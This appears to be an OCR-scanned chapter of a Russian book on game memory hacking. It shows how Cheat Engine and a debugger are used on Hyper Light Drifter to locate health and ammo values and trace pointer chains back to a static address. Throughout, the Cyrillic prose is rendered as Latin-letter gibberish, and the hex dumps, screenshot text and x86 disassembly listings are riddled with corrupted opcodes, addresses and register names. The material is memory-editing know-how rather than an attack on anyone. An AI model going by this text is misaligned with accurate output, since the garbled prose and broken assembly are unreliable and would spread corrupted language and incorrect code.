[Tocne Toro kak Mbl HaCTPOHJIM OKHO MIPbI C ITOMOILLBIO OTJIaAYHKA, HCHAA0JII'O OTJIOXKHUM

ero. YtoObl HalTH HYxHble HaMm 3HayeHus B Cheat Engine, pa3zbepemcsi ¢ Teopuei.
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!

TRV T, Y T 2 =— e
Push
v >

G5 0638 LFS 9053
€5 0028 DS 428
€ 0673 558028

SITINIIIIs iIN i iiiaE

(0) 0DODONOAOODDONGCH0D
KROOOITOODOI0000000

sie
7(4) G000DO00000000000000
S1(30 00a0000000000600000
#7¢¢) £9000000000000000000
TR e 00000909 '

XX R R R R AR

£526080 22

Puc 15.5. Mapametp dwStyle,
usmeHeHHbin Ha WS_OVERLAPPED

Hyper Light Dyifter

Puc. 15.6. OKOHHbIN peXUM C NAHENbI0 3arofloBka OKHa

YT10 Takoe cTtaTuYecKun agpec

Crartuueckuii agpec — 3TO aApec, KOTOPbIH H3MEHSETCsl MPeACKa3yeMo MO OTHOLIEHHIO K
MOJYJ1I0, KOTOPOMY OH NpHHamiexut. Ecnu nepemMenHas rnodanbHas, TO MOXHO HaHTH
€€ B CerMeHTe JaHHBIX.

Cratuveckue agpeca ykasbiBaloTcs B ¢opMare [module+offset]. Hanpumep, B
library.dll Mbl MOT/IM OOHapyXHTh 3Haue€HHe IO aipecy 0x700004C0 (base =
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0x70000000, offset = 0x4C0). IIOCKONBKY library.dll MOXeET IepeMelaTbcs U ee Oa-
30BBIH aapecC 3arpys3Ku 6y,£[CT MCHSATBCA, YTOOBI NOJIYYHUTh JOCTYII K HAIIEMY 3HA4YCHHIO,
MBI HE HCIIOJIb3YEM 3TOT aJIpec Hampsamyro. BMecTo 3Toro Bo3sMeM anpec [library.dll +
0x4c0]. CnemoBaTensHO, KOrga library.dll 3arpyxkaercda o 0a3oBoMy ajapecy
0x10000000, [1library.dll + 0x4C0] 3TO JaeT HaM 0x100004CO H Y HAC MOABUTCSA JOCTYII K
HameMy 3Ha4CHHIO.

Ecnu ke mepeMeHHas JOKalbHas, TO HCKAaTh HYXXHO B cTeke. 11 3TOro moiydyaeM
TebBaseAddress ONpPENEIEHHOTO MOTOKA, a 3aTEM BTOPOH yKa3aTeslb U3 3TOH CTPYKTYpPHI
(FS:[0x04) WM GS:[0x08], B 3aBUCHMOCTH OT pa3pAAHOCTH Ipolecca), KOTopas couep-
XHT BEpIIMHY CTeKa. TebBasePointer MOXET OBITh TMOJYy4€H C I[OMOILBIO
NtQueryInformationThread (€ciH 3TO 64-OMTHBIF mpolecC) WIH X€ C MOMOILIBIO
Wow64GetThreadSelectorEntry (€CiH 3TO 32-OHTHBIH mpolecc B 64-OUTHOM cHCTEME).

Mouck nokasaTeneu 300POBbLSA

3amyckaem Cheat Engine u moaxitogaeMcs K npoueccy urpsl (puc. 15.7).

£ Process List X
File
Applications ' Processes Windows

Iﬁ D0002BES-Program Manager
S 000036B3-HyperLightDrifter.exe - PID: JAA8 - Module: hyperlightdrifter.exe - Thread: Main
bose Light Dnifte

£, 000038D8-Cheat Engine 72 _

(o ) mo |

;r Attach debugger to process }

Network

Puc. 15.7. MogknioyeHne k hpoueccy urpbi

Tak Kak Mbl HE 3Ha€M, B KaKOM THII€ XPaHUTCA IOKa3aTelb 300POBbs, BHICTABIAEM Clie-
JIYIOIHE IapaMeTpsl AJi NEPBOT0 CkaHupoBaHus (puc. 15.8).
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JHanee mpomomkaeM CKaHHpPOBaHHE, He 3a0bIBasi PU 3TOM TEpATH hp (mokaszatens 310-
pOBBs1) B Urpe. Jlenaem Mbl 3TO AJIs TOTO, 4TOOBI OTCIIEXKUBATH H3MEHEHHS 3Ha4eHus hp
B namatu urpel yepe3 CE, a Taxke yMeHbpINaTh 3HAYEHHE B MOHMCKE I CIEXYHOLIUX
ckaHupoBaHHUH. [lenath Mbl 3TO Oynem A0 Tex Mop, moka He OyIdeT JOCTUrHYTO aleK-
BaTHOE KoJn4ecTBO 3HaueHHH B okHe CE. AnekBaTHOE KOJNHYECTBO 3HAYEHHH B JaH-
HOM Cllydae — 3TO TaKO€ KOJHYECTBO aJPECOB, MIPOBEPKA KOTOPHIX 3aiiMET MAaKCHMYM
MHUHYT IATb.

£, Cheat Engine 72 - ] X
file Edt Table D3D Heip

Address Value Previocus : First Sch Next Scan Undc Scan g

[P e U T TN bl 1Y B e e ings
Value:
Ha O 6
Scan Type ExactVaiue v O Lua formuta
vl Al ONot

gy k (@] (defauit)

Memory Scan Options Y (extreme)

Al ~ QO Tuncated

Start 0000000000000000 () Simple valures only

Stop mmuu' seeeer (O Unrandomizer

@wibe  WEccsbie OEnableSpesdhack

(O CopyOnWiite

O Alignment
1

WiestScn | Ovaeoigis

@ Pause the game while scanning
[ Memory View | @ Add Address Manually
i = e e R e e ol = e
| Active Description Address Trpe Value
‘ -
|
|
|
|
| 3
LAdvuxed Options Table Extras|

Puc. 15.8. NepBoe ckaHupoBaHue

MHe npHrisHyIMch BOT 3TH JBa aJipeca, KOTopble s 100aBHJI B HHXKHEE OKHO JBOHHBIM
LIeTYKOM MBIIIH Ha HUX (puc. 15.9). [IpurisHyIuck OHH MHE B EPBYIO OYepeab NOTOMY,
4YTO 3HAYEHHS IO ITUM aJpecaM CpeAH BCEX OCTAJbHBIX UMEIOT HauOOJbIIMH THN —
double. Bcerna Hy)xHO ImpoBepsATh OT OOJNBLIErO THMA K MEHbIIeMy. To ecTh cHayaa
npoBepsieM azapeca, xpansaiue Tun double, 3atem float, mocine integer u Tak ganee. bonee
noJpo6HO O pa3Mepe THUIOB JAHHBIX MOXHO NpPOYHMTaTh B AOKyMeHTauuu Microsoft
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(https://docs.microsoft.com/en-us/cpp/cpp/fundamental-types-cpp ?view=msvc-170,
puc. 15.10).

£, CheatEngine 72
| File Edt Table DD Help

!g “ H . __ O0003AAS-HyperlightDrifter.exe
;Ouﬂd’l‘s - BRI S RS B, e AR A
Address Value Previous . NewScan | NextScan | « ; Undo Scan | .
Hyperlighubrifrer.2xe425567050:s 5 Vol ;
28367F48:s 5 5 Hee O :
2D880330:s § 5 : T s R
2De908eD:s 5 5 Scan Type Exact Value 3 v Otuatormula
| 208s54s58: 9 5 5 Value Type Al 5 o LNt
2DL4BBBS: s 5 5 (JGompareito fistican O Rounded (default)
| 2masacre:s 5 5 S O Rounded {extreme)
| 20aseDacas 5 H L ? O Tuncated
| 2082mRFa:s 5 5 ALY, 2 ~ [Dsimple values only
| 20838384:5 5 5 Swt|  ooos | Ounmand
| 2p83808C:3 s s Stop -  oooorzeszeseseer. O Enable Speedtack
| 34BN £ A £ Witable 3 Executable
'352DA242:1 s 4 1CopyOnWirite
| 36s01940:4 ‘ 4 il
FastScan | 1050 mend
3E501A30:8 4 4 T K st Bt
8 Pause the game while xann_ing
t A
| A : AL 3 L
!Act'we Description Address Type Value
-
|
{ v,
lAm'an(ed Options Table Extras

Puc. 15.9. HangerHle agpeca n ux 3HauyeHus

Ecnu MBI MoMeHsieM 3HaueHHe MO aJpecy 0x36501940, TO Ha 3KpaHe MOSBHTCA I0JI0ca
3[0pPOBbsI, HO €ro KOJIMYECTBO He nmoMeHsiercs (puc. 15.11).

Ecnu tenepb Mbl moMeHsieM 3HaueHHE MO afpecy 0x36501A30, TO Ha 3KpaHe MOSIBHTCS
nosnoca hp u 3HaueHHe U3MEHHUTCA. JTO 3HAYMT, YTO MBI HALUIH aJpec, B KOTOPOM Xpa-
HHUTCsI 3HAUYEHHE 370pOBbs B Urpe. 3HaueHue xpanurcs B ¢opmare double (cranmapt
IEEE 754 (https://en.wikipedia.org/wiki/IEEE_754), puc. 15.12).

HanuM Ha3BaHHe HaHAEHHBIM HaMH aJpecaM: hp bar M hp COOTBETCTBeHHO. OqHAKO, KaK
s YK€ paccKas3blBal B pas3zele, MOCBSIIEHHOM CTaTHYECKHM aapecaM, HaJeHHbIH HaMHU
aapec Oynet 6ecrose3eH nocie Toro, Kak Mbl BEIHIEM B MEHIO UJIH NE€PE3anyCTUM HIpy.
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r€ Cheat Engine 7.2 - (a] X
file Edit Table D3D Help
g “ H 00003AAS-HyperLightDrifter.exe LRl VR
| Eeed 2
Found: 15 S
i Address Value Previous New Scan Next Scan Undo Scan b
- - 4 o
l HyperLightBrifrer . exe+3SSE7080:s L] 5 Value: i
| z::‘;no:s = . Hex (14
| 3303 5 5
| 2pag08e0:5 5 5 Scan Type Exact Value v Otuatormula
[ 20esass0:s s 5 Value Fype All ONot
2DRABEBE 15 5 5 | (O Compareto first scan (O el (dttaii)
2DA64CFC:s 5 5 I o © Rounded (extreme)
Memnory Scan Options.
2DR66D4C:s 5 5 | O Truncated
2DB2BAF4:s 5 5 | ) o Osimple values only
2083838413 5 5 ool 0%}, Qu
2DB38DEC:3 s 5 stop | " umarsgesisersel (O Enable Speednack
3"::20‘ o : . ) Writable 8 Executable
3520824271 T2 L] = r
i CopyOnWWrite
36501540:4 4 & — ) Alignment
365013834 4 4 BFastSan) 1 I e
1 3 Pause the game while scanning
; N
| Memory View @ dd Address Manualy |
i = = = Z
| Active Description Addrese Type Value
[J  No description 36501940 Double 4 »
| ] Nodescription 36501430 Double 4
-
;Advanced Options Table Extras
Puc. 15.10. JoGaBneHHbie agpeca
(Hypec Light Drifter

Puc. 15.11. WHgukatop hp
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Puc. 15.12. NameHeHue hp

NMouck ctatnyeckoro agpeca
ANA MHAWKaTopa 340pOBbLA
IIJIH ,IIaJILHeﬁHIeFO IMOHUCKAa CTAaTHYECKOIo agpe€ca BEPHEMCA K OTJIaAYHKY. B okne JaMIiia

HEepeXo UM MO paHee MOJTy4YEeHHOMY afipecy 0x36501A30, B KOTOPOM XPaHHUTCS 3Ha4YEeHHE
hp (puc. 15.13).

xellocls &S

#Woups @ warhi
oL omh | MRl

00 00

36501A30 . y 00

36501A40( 00 00 00 00 00 00 0O 00 00 00f......K&........
36501A50|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| .c.ucerverancons
36501A60(00 00 00 00(00 00 0O 00(78 78 78 78|00 00 00
36501A70(00 00 0O 00|00 0O 0O 00|78 78 78 78(00 00 00 A3
36501A80( 00 00 00 00(00 00 FO 3F|78 78 78 78|00 00 00 7 as el
36501A90(00 00 00 00(CO F2 FA 40(58 AS F3 34|00 00 00 «on - ADGBX¥O4. ..
36501AA0|00 00 00 00|00 00 00 00|78 78 78 78|00 00 0O XAAX .+
36501AB0|00 00 00 00|00 00 00O 00|78 78 78 78|00 00 00 .
36501AC0(00 00 00 OO(7E 84 2E C1(78 78 78 78|00 00 00 c
36501AD0|(00 00 00 O0(7E 84 2E C1|78 78 78 78|00 00 00 .
36501AEQ|(00 00 00 00(00 00 FO 3F (78 78 78 78|00 00 00 iae
36501AF0Q |00 00 00 00(00 00 00 00|78 78 78 78|00 00 00

3650180000 00 00 OO|7E 84 2E C1|78 78 78 78|00 00 00

3650181000 00 00 00|00 00 FO 3F|78 78 78 78|00 00 00 00| ...... O AKXX. .« . .

Puc. 15.13. 3naueHue no agpecy 0x36501A30 B okHe gamna

CraBuM 110 afpecy 0x36501A34 annapaTHbIH OpeiK-TIOMHT Ha 3alHCh U TEPSEM B HIpe 3710-
poBbe. Bpelik-noiHT cpabarsiBaeT, M Mbl BUIMM, YTO HOBOE 3HaueHHe hp Oepercs u3 perucr-
pa EDI. JTO 3HaYEHHE SBJIAETCS IEPBBIM TapaMeTpoM TekyLued ¢yHkuuH (puc. 15.14).

Beriins u3 3ToH QyHKUMH, NpOCIEOHM, OTKyJa OHA IMONy4aeT CBOH MEpBbIA Mmapamerp.
MbI YBUAMM, YTO NEpeAaBaeMblii MapaMeTp — 3TO BO3BpallaeMoe 3HaueHHe QyHKIHH 10
anpecy 0x003EFCES (puc. 15.15).
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Puc. 15.14. 3nayeHune napameTpa hp

«---»@)oozerceal|. sesi MOV EAX, OWORD PTR DS:[ECX]
»|0c3EFCE2||. (70424 90020000 MOV DWORD PTR SS:[ESP], 29D
#|o03crCES||. FFI0 04 CALL DWORD PTR DS:[EAX + 4] get healt ptr
wo]oo3eFcec||. 838C o4 SU8 ESP, 4
w#foozercer||. 85€7 MOV EDI, EAX static addr
#]|003eFCF1||. 898C24 20020000 MOV DWORD PTR S5S:{ESP + 220}, EOI static addr
#]oo3cecrs||. 898424 24020000 MOV DWORD FTR SS:{ESP + 224], ESI
o] oo3ercrr||.  8D8424 20020000 LEA EAX, OWORD PTR 5S5:[ESP + 220]
«|0o03eFDOS || . 894424 08 MOV DWORD PTR SS:[ESP + 8], EAX
#|003eFD0A || . ©€74422 04 02000000 MOV DWORD PTR SS:{ESP + 4], 2
o] 0o3erD1z2||. €70424 OODF8525 MOV DWORD PTR SS:{ESP], hyperlightdrifter.25850F00
wjoozeFmo||. E8 A2cOREGT CALL hyperlightdrifter.F500C0
#|0O3EFDIE||, 850424 MOV DWORD PTR '55:fESP], EAX
w#|ooseFp2i||. 89F9 MOV ECX, EDI static addr
sjoo3erp23||. EB 4B1DEEFF CALL hyperlightdrifter.2D1A70

—e

#|003EFD28||. B F MOV » nyperlightdrifter.FFFFFF
®|003EFD30||. Al OCDF8525 MOV EAX, DWORD PTR DS:[2585DFOC]

Puc. 15.15. Bosspalwaemoe 3Ha4yeHne dyHKumm
no agpecy 0x003EFCE9

IMoctaBuM OpeHK-IOMHT Ha BHI30B QYHKLUHUH MO aipecy 0x003EFCEY, a Aajblle Mpo-
JOJDKUM OTJIAJKY, TOKAa HE OCTAaHOBHMCS Ha €€ BBI3OBE. 3alIs BHYTPb QYHKUHH, BbI-
NOoJHAEM ee 00 KoHIa. Kak Toapko MBI JOCTHIHEM aapeca 0x00F88E19, TO YBUIHM, YTO
PETUCTpP EAX XpaHHT agpec 3HaueHHus hp. OueBHIHO, YTO B 3TOH QYHKLHMH MPOUCXOIUT
JOCTYIN K HalleMy ajpecy yepe3 apupMeTHKy ¢ yKa3aTelsMH AJI CTPYKTYp, @ HMEHHO
yepe3 npubaBiIeHHE K yKa3aTelIr CMELIeHHH U JajbHeilllee ero pa3siIMeHoBaHHe. bo-
nee noapoOHO 006 3TOM MOXXHO mMpouyHuTath 31ech: https://turing.ubishops.ca/home/
¢s318/03-point.pdf. Ham Hy>xHO OyzneT MOBTOPHO MPOHUTHCH MO 3TOH QYHKLHUH, YTOOBI
y3HaTh, Yepe3 KaKoH aJipec U CMELIEHHs OHa MoJjIy4aeT aapec 3HadeHus hp (puc. 15.16).

[Tocne Toro kaxk Mel y3HalH agpec 0x353F9EBO, U3 KOTOPOTO MOJyYaeTcs apec 3HAYeHH s
hp, HaunHaeM BBIXOANTH U3 GyHKLHIA. [IpH 3TOM BHHMATENBHO OTCIIEXHBAEM, UTO Tepe-
Jaercs UM B KadecTBe mapaMeTpoB. CIycTs mapy BBIXOJOB Mbl HATKHEMCS Ha CIIEAYIO-
wee (puc. 15.17).

Mpb1 Hamm cratudeckui agpec! Eciny nocMOTpETh €ro pacnojoKeHHe B MaMsTH, OH Ha-
XOIMTCS B CEKIUH .data (puc. 15.18).

3nas Bce cMeleHus, 106aBuM ux B CE, HaxaB Add Address Manually (puc. 15.19).
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Puc. 15.16. BuisicHsem, Yyepes kakon agpec U cMeLleHns MyHKLMA nonyvaeT agpec aHadveHus hp

o] 01076714 4E15 S8FI5725 DWORD PTR DS:[2587F150] [static addr]
o] sio7e220 OWORD PTR DS;L{EDI * 8 + 2544D2FC]
®f o1078327 DWORD PTR D5:{EAX + EBX * 41
R CL107E784 DWORD PTR DS:{EDX + 4]
»| mon?zo ’ L;EDRD PTR D5:[EDX] Tstatic addr]
» 2
« DWORD PTR DS:{ESL + EAX * 8} [static addr + ¥B8)
» MOY EAX, DWORD PTR DS:fEAX]
»| TEST EAX, EAX
i 01076738~ 7 hyperlightdritter 1078742
i GLEZET 24 OPOOORD LER EBX, DWORD A¥R DS:{EBX]
i O1QTEFAD, CMP DWORD PTR DS:TEAX + 83, ECX
DINTENSF| - JE hypertightdrifte~ 107E74E
DLOFEZ45 MOV _EAX, mno PIR DS:{EAX + 4]
01076748 TEST EAX,
BLOTETIA INE kywrhqhtdr‘nﬁﬁv*lD?EMO
SIOVEM] - E JMP hyperiightdrifter.107E7A2
BLO7E7AE MOV EAX, DWORD PTR DS:[EAX + C] [static addr + Ox0C)
C1G7EFSL TEST EAX, EAX
SFEYS| v I hygeriightdrifter, 107E7A2
O1O07E755 MOV ESI, DWORD PTR DS:([EAX + C4] [static addr + OxC4]
4 0107€758 £ 0 IMP hyper1ightdrifter. 1076760
: OLO7E73D LEA ECX, DXORD PTR DS:[ECX]
1 DIO7EFS0 TEST ESI, ESI
i 01026762 3 € hypar Tightdrs Frer, 1O7E78C
1 0107£764 8846 08 MOV EAX, DWORD PTR 05:[ESI + 8] {static sddr + Ox081
i O107E767 8500 TEST EAX, EAX r
¥ 0107E768| + 7& 31 JE kyperiightdritter. 1076790
i 0107£768 8078 4C RO CMP BYTE PTR DS:{EAX + 4C], O
b 0107E76F 8836 MOV ESI, OWORD PTR DS:{ESI]
0107£771| ~ 75 ED INE hyper Tighndrifter, 1076760
01026773 8078 4D 00 CMP 8YTE PTR DS:[EAX + 40], ©
01076277 75 E7 INE hyperTightdrifter. 107E760
B107ET7 BB48 5 MOV ECX, DWORD PTR DS:[EAX + 5C
C187E77C 384024 1C MP ECX, DWORD PTR SS:{ESP + 1C]
#107€7280) 7F pE 36 hyp?rhgﬁ‘dv‘wﬂ«' 1WZETB0
i Q107E782| . 2G 08 IL hyperlightgrifter, 1076780
i 01075784 8850 38 NOV EDX, OWORD PTR DS:{EAX + §
01876787, 385424 18 CMP EDX, CWORD PTR $5
01078288 77 03 JA hyserivghtdrifter. 307E7#0
WADTETHD PUSK EDL
IO7E7ZE PUSH 3
0107879 PUSH EAX static usd,-
0107E791 50 PUSK EAX st
CALL

e
bllocats 5 skua

Puc. 15.17. Ctatndeckuii agpec

G calStack #7584

1o, Sampt %) symboss

| er'hghtdrufter exe

Executable code

T e g G B R L P e ey

25AC7000 !
25408000 | 00016000

| | Resources
25 ADEOCO : 0020EQ00

! Base relocations

Puc. 15.18. PacnonoxeHue ctatuyeckoro agpeca



| % Change address X
m; TS S I
. _ =5 |
Description 1
| static_addr_hp 1
Double v |
(O Hexadecimal ([ Signed ,
8 Pointer |
[T 0x00 > | 36%01A30:0= 36501430
i Ox1FD8 > | 10+1FD8] ->
|i< 010 | > (35098288101 > 35450C10 |
1 ot Ocdd > [353F98B0+44] -> 35096288
[Fed ox08 I R e e Y 48] -> |
¥ 5 oc4 : AT > | [2DR20BAB+C4] -> 35361CD0 |
e it * e e = . |
- — i Sttt . - {;w‘ & |
- P
L 0x00 > ) [2D964486+01 -> 20964400
HyperLightDrifter.exe+255AF150 ->20964488
AddOffset | | Remove Offset

— 7 o i
|| oK Ii Cancel |
"
L 7]

Puc. 15.19. [lo6aensem 3HaueHus B CE

NMounck 3HavyeHns Yucna naTpoHOB

Teneps NpUCTYNHM K MOUCKY 3HaYEHHs YHCNa NaTpoHOB (ammo). [lepBoe ckaHHpoBaHHE
JeJIaeM ¢ TaKMMH JKe [TapaMeTpaMH MOHCKa, KaK KOria Mbl HCKalH 310poBke (puc. 15.20).

B manHOM ciyyae Mbl CMOTJIM HAWTH JIMUIb OZHO 3HAYEHHE, H 3TO 3HAYEHHE I0JIOCHI, KO-
TOpas MokKa3bIBaeT Yucio 6oenpunacos (puc. 15.21).

B urpe aToT HHAHKATOpP HE NOABHICS. B 0TiHuHe OT M0JI0CH 310pOBbs, OH OTOOpaXkaeTcs
TOJIBKO MOCJIe HAaXKaTHs Ha KHOMKY E unu Bo BpeMs BeicTpenoB (puc. 15.22).

Mouck cTtaTMyeckoro agpeca Ana ammo

MBI noHHMaeM, 4TO MOKa3aHHs HHIMKAaTOPOB B UIpe BCErJa CpPaBHHUBAKOTCA C (akTHue-
ckuMH. Ecnu oHa U3 nonoc nokassiBaeT He TO, YTO HYXKHO, ee IiIHHa u3MmeHsercs. Ilo-
3TOMY BO3BpaLlaeMcs K OTIaAYMKy H HAaUHHAEM C annapaTtHoro Opeik-MnoiHTa Ha 3aluch
no azapecy 0x365014c4. Kak BUOMM 1O KOMMEHTapHaM, 3Ta (GyHKIMs yXe HaM BCTpeda-
nace (puc. 15.23).

ITo ananoruu c nouckoM hp Berxoaum u3 pyHkuuu (puc. 15.24).

Tak kak MbI y>ke 3HaeM, YTO HHAUKATOP JOJDKEH M0J1y4YaTh 3HaYeHHe T'Ie-TO paHblle, HaM
NpUAETCS MPONMUCTaTh OKHO au3acceMOiiepa BbILIE, MOKAa Mbl HE YBHIUM (DYHKIHIO,
MPEaNOI0XKHTEIbHO NOayYarouyo hakTHYeckoe 3HaueHHe ammo (puc. 15.25).



static_addr_hp ) e
No description C L A L (ATt

T TR

[ -

i ok Al )

Puc. 15.21. 3naveHve uHgukatopa 6oenpunacos



O—— 215 —0O

Hyper Light Drifter

Puc. 15.22. MugukaTop 6oenpunacos

©]00201A70] § 53 PUSH £BP
o) 002D1A71 89E5 MOV EBP, ESP
®|| 002D1A73 53 PUSH EBX
o/l 002D1A74 3% PUSH EDI
®|| 002D1A75 56 PUSH ESI
o[l 002D1A76 50 PUSH EAX
o[l 002D1A77 89CE MOV ESI, ECX
¢ 00201479 8B7D 08 MOV EDI, OWDRD PTR SS:{EBP + 8] static addr
o[ 002D1A7C 39F7 CMP EDI, ESI
@[l 002D1IA7E| ~ 74 42 3E hyperlightdrifter. 201AC2
o[ 002D1A80 BB FFFFFFOQ MOV EBX, hyperlightdrifter.FFFFFF
®[| 00201485 8B46 OC MOV EAX, OWORD PTR DS:{ESI + C]
o[l 00203488 01D8 ADD EAX, EBX
@[l 002D1ABA A9 FCFFFFQO0 TEST EAX, hyperlightdrifter.FFFFFC
-@|| 002D1A8F 75 08 INE hyperlightdrifter. 201499
#[| 002D1A91 893424 MOV DWORD PTR SS:{ESP], ESI
o[l 602D1A94 E8 37F6FFFF CALL hyperlightdrifter. 201000
->@ ]| 00ZD1A9S 8847 OC MOV EAX, DWORD PTR DS:{EDI + C)
ef 0020149%¢ 8946 0C MOV DWORD PTR DS:[ESI + C], EAX
@[ O02D1AIF 8847 08 MOV EAX, DWORD PTR DS:{EDI + 8]
»| 00201442 8346 08 MOV OWORD PTR DS:[ESI + 8], EAX
®[| 002D1AAS 235F oC AND EBX, DWORD PTR DS:[EDI + C]
®]l 002D1AA8 83F8 OE CMP EBX, E
|~®|| 002D1AAB 77 15 J& hyperlightdrifter.2804C2
|-e| 002D1AAD FF243D FO1A2000 JMP DWORD PTR DS:{EBX * 4 + 2C1AFO)
®[| 002D1AB4 8807 MOV EAX, OWORD PTR DS:{EDI]
|>®|l 602D1AB6 8306 MOV DWORD PTR DS:{ESI], EAX
|—~®| 002D1AB8| ~ EB 08 IMP hyperlightdrifter.2D1AC2
|>e| 00201484 F2:0F1007 MOVSD XMMO, QWORD PTR DS:[EDI]
®[ 00201ABE F2:0F1106 MOVSD QWORD PTR DS:[ESI], XMMO
Cld i E = EE s =T
o[ 00201AC4 83C4 04 ADD ESP, 4
®| 00201AC7 SE POP ESI
o 002D2ACS8 SF POP EDI
@ || 002D1ACY9 58 POP EBX
o 002D1ACA sD POP EBP
8| 002D1ACB C2 3400 RET 4

\Y 8 BHIHUM, 4YTO B 3TOM Q)YHKHHPI MBI YXKE 6bI.IIPI, a 3TO 3HAYUT, YTO OHA TOXKE IOJIYyHacT

Puc. 15.23. O6Hapy:keHHast DyHKUMS

3HAuYEHHUE, HO y)Ke ammo — 365014E0. TonbpKO Kakoe-To OHO cTpaHHoe (puc. 15.26).

Hob6aBuB 310 «cTpaHHOe» 3HaueHue B Cheat Engine, a moTOM H3MEHHB €ro, K NpuUMepy,
Ha 100, MBI YBHIMM, YTO HA IKpaHEe MOSBUTCS WHAMKATOP MAaTPOHOB H €ro 3Ha4yeHHe I0-
MeHseTCs. 3HauuT, Mbl HAlUIM aJpec, B KOTOPOM XPaHHUTCA 3HAYEHHE ammo B Hrpe

(puc. 15.27).

3Has Bce CMEIMIEHHUS OT CTATHYECKOro azgpeca K aapecy 3HaYEeHHUH ammo, 100aBUM HUX B

CE, HaxaB Add Address Manually (puc. 15.28).
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|

X3 XXX XY

4

00862874
00862833
00862985
00862989
QDBRRIBE
3

T2:0F108424 EGWS0000 TOVSC XMMQ, QWORD PTR S5:1ESF + GF8]
« ER 04 IJMP hyperlightdrifter. 862959

F2:0F1006 MOVSD XMMG, QWORD PTR [zsz]

F2:0F110424 MOVSD ano PTR 95:1:9?1, [

E& 7D776FOR

OReC24 Fi

00862943

»
L 4

& 30862994
-

. QGSSZQAS
-

F2:0F108424 FOD50000
F2:0R5805 98291901
£2:0F100D E3658325
86:0F2ECE

72 48

DBE2AZT
QOBE2AZE
| COBE2A35
| 00882A3C
B08E2240
QO8E2RA4
QBBB2ALY
QOBERALE
GOBR2AS 7
(B 2ASE
DUBGRASF
D08H2AGL.
DPBOIAES
0:862369
DOBE2AEE
DeBBATO
BB8G2475

’ﬂ‘......"..*!"'."

JG862989 (78424 78640000 FBOBAICO
0886294 888424 7C540800
THSBZICH 8848 04
BRABIACE 859
20862 74 08
00862902 811 CORASOTR
00862908 EB 13
00862904 8810

L8424
QORE2IES 89C1

3 FF52 04
83EC D4
8scl

898424 0C19000!

C74424 DL D3CODOB0

8

£8 DAFDAGFF

83EC 04

Al €4198625
N e

AS FCFFFROO
§08424 80640000

OBES2A7C | 75 0C

E515 ol Mo sei It

!uﬁ';go
ss:{ESP + 5FO], ST(0}
MOVSD XMMO, QWORD PTR §S:{ESP + 5FO]
ADDSD )XMMO, QWORD PTR DS:[1192338]
MOVSOD JMML, QWORD PTR DS:{25836588]
UCOMISD XMM1, XMMO

I8 hyperYightdrifter. $629FF

MOV MWORD PTR SS:{ESP + 6478], 6FB
MOV EAX, DWORD PTR SS: §ESP + 647C]
MOV ECK, OWORD PTR DS:fEAX + 4]
TEST ECX, ECX

JE & echﬂtdh.fter.swm

INP hyper'ﬁuhtdﬂft:r 8629ED
MOV EOX, DWORD PTR DS:IEAX]
MOV DWORD PTR SS:[ESP], 8AC
MOV ECX, EAX
CALL DNORD PTR DS:[EDX '+ 43
SuB ESP, 4
ECX, EAX
EAX, DWORD PTR SS:[ESP + 5730]
< fE EAX

DWORD P} P+ 6
MOV DMORD PTR SS:[ESP + 190C], ESI

EDX, DWORD PTR SS:fESP + 190C]
GHORD PTR sS: [ESP + 10}, EDX

CALL hyperlightdrifter.6213F0
MOV OWORD PTR SS:{ESP], EAX

MOV ECX, Ef

CALL hy tdrifter. 200A70

SUB ESP, 4

MOV EAX, DWORD PYR DS:{258613C4]
ADD EAX, EBX

TEST EAX, hyperlightdrifter. FFFFFC

LEA ESI, DWORD PTR SS:[ESP + 6480]
INE byperlightdrifter. 862484

MOV OWORD PTR $S:{ESP + 1910], hyperlightdrifter.25861948
MOV OWORD PTR 5S:{ESP + 13143, hyperlightdrifter.12C2aEC
64

)
MOV @WORD PTR SS:{ESP + 8], hyperlightdrifter.25861988

Puc. 15.24. BbixopnM 13 pyHKuMn

|

;
Rl rrrryYYRYI Y

T
i

i i
é»

+
(XEX L]

H

w[#Cse1r6C T705 B8108625 DODOOG0O
2| $0861FCE 888423 2€560000
«] 0086LFCD Q1F0
» | oo8SLFCE A FCFFFFOO

-] 00861 FD8 25 08
#]00861:F06 891C24
o] oussLrD9 €8 F2FOAGFE

-5 S1FDE 78424 28560000 0H0000GE
# | 00861FED C78424 2C560080 05000000
o] 008&1FF4 C78424 20560000 GOBORD00
» | 0086LFFF €78424 78640000 F3060080
«] 0086200A 888C24 7C640080
o] 00852011 8679 D4
o] 00862014 85FF

--e] 00862016 - 74 18
o] ooss2018 8DE7 50330000
o | 0086201E 898424 BA020000
»| 00862025 81C7 50200000

|—eo| 00852828 ~ E9 85000000

-># | 00862030 8801
» 00862332 70424 35030000

B = 4

838424 B8O20000
8B8C24 7CE640080
BB7% 04

85FF

74 50

81C7 JC2D0080
EE 59

8B8424 30520000

85€0

DF84 183BFFFF
FF40 04

ES LD9BFRFF
B§8424 30580000
898424 20230000

OF84 179BFFFF
FFOO

8378 08 00

DF85 OBIBFFFF
809424 20230000
8950 08

ES FCSAFFFF
8801

C70424 £9020080
FES0 04

B3EC 04

8%C7

R O5:L23 . 0
MOV EAX, OWORD PTR SS:{ESP + 562C1
ADD EAX, ESI
TEST EAX, hyperlightdrifter.FFRFFC
INE hypuerlightdrifier. 861F0E
MOV OWORD PTR SS:{ESP], EBX
CALL hyperlightdrifter. 201000
MOV EWORD PTR SS:[ESP + 5628], 0

5

MOV DWORD PTR SS:EESP + 6478], 6F3
MOV ECX, DWORD PTR SS:[ESP + 647C]
MOV EDI, OWORD PTR DS:{ECX + 4]
TEST EDI, EDI

ik hyperlightdrifter,862030

LEA EAX, DWORD PTR D5:{EDI + 33503
MOV EWORD PTR 5S:{ESP + 2B8}, EAX
ADD EDI, 20S0

3MP hyperTightdrifter.862085

MOV EAX, DWORD PTR DS:{ECX]

MOV EWORD PTR SS:[ESP], 335

MOV MRD PTR SS:{ESP + 2B8}, EAX
MOV ECX, OWORD PTR S5:[ESP + 647C]
MOV EDI, OWORD PTR DS:[ECX + 4]
TEST EDI, EDI

3IE hyperiightdrifter. 862044

ABD EOI, 2090

IMP hyperlightdrifter. 862085

MOV EAX, OWORD PTR SS:{ESP + 5830]
TEST EAX, EAX

3E hyperdightdrifter.858883

INC OWORD PTR DS:{EAX + 4]

IMP hyperlightdrifter.858883

MOV EAX, BWORD PTR SS:{ESP + 58303
MOV BWORD PTR SS:[ESP + 2320}, EAX
TEST EAX, EAX

JE hyperlightdrifter.858830

INC DWORD PTR DS:{EAX]

CMP DWORD PTR DS:{EAX + 8], ©

INE hyperTightdrifter. Bi8BAC

